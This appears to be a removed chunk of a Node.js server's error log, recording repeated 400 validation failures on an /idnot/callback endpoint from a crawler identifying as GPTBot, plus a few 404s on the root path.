/home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758625010025_z7mya4ggf' -} -❌ [ERROR] 2025-09-23T10:56:50.027Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758625010025_z7mya4ggf', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:06:27.819Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758625587818_26gfoz3ny' -} -❌ [ERROR] 2025-09-23T11:06:27.820Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758625587818_26gfoz3ny', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:16:18.874Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758626178873_vv7h1sjel' -} -❌ [ERROR] 2025-09-23T11:16:18.875Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758626178873_vv7h1sjel', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T11:24:31.622Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758626671621_st7wk4l65', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:26:18.750Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758626778749_gtgooyni3' -} -❌ [ERROR] 2025-09-23T11:26:18.751Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758626778749_gtgooyni3', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:31:19.818Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627079818_v63dod7pr' -} -❌ [ERROR] 2025-09-23T11:31:19.819Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627079818_v63dod7pr', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:36:26.679Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627386679_juzu5qza0' -} -❌ [ERROR] 2025-09-23T11:36:26.680Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627386679_juzu5qza0', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:41:31.892Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627691891_qzaejpqhr' -} -❌ [ERROR] 2025-09-23T11:41:31.893Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758627691891_qzaejpqhr', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T11:44:35.170Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758627875170_flig1tgp7', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:46:43.704Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628003704_2n7ttwbtp' -} -❌ [ERROR] 2025-09-23T11:46:43.705Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628003704_2n7ttwbtp', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:51:56.551Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628316550_u47uqild5' -} -❌ [ERROR] 2025-09-23T11:51:56.551Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628316550_u47uqild5', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T11:57:14.238Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628634237_gsj6sx5xy' -} -❌ [ERROR] 2025-09-23T11:57:14.239Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628634237_gsj6sx5xy', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:02:34.319Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628954319_dflywm1ga' -} -❌ [ERROR] 2025-09-23T12:02:34.320Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758628954319_dflywm1ga', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:07:57.946Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758629277945_u83mpfflc' -} -❌ [ERROR] 2025-09-23T12:07:57.947Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758629277945_u83mpfflc', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:18:55.329Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758629935328_czldgm7pz' -} -❌ [ERROR] 2025-09-23T12:18:55.330Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758629935328_czldgm7pz', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:30:05.882Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758630605881_qofvch9e2' -} -❌ [ERROR] 2025-09-23T12:30:05.883Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758630605881_qofvch9e2', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:35:44.877Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758630944876_55ntjh8fm' -} -❌ [ERROR] 2025-09-23T12:35:44.878Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758630944876_55ntjh8fm', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:41:28.644Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631288643_k0qqjqjpk' -} -❌ [ERROR] 2025-09-23T12:41:28.644Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631288643_k0qqjqjpk', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T12:45:19.524Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758631519523_6534drr3k', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:47:16.677Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631636676_k9xhc27gu' -} -❌ [ERROR] 2025-09-23T12:47:16.678Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631636676_k9xhc27gu', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T12:53:07.344Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631987343_6ejw4eph4' -} -❌ [ERROR] 2025-09-23T12:53:07.345Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758631987343_6ejw4eph4', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T12:58:15.825Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:89.241.240.50', - method: 'GET', - url: '/', - 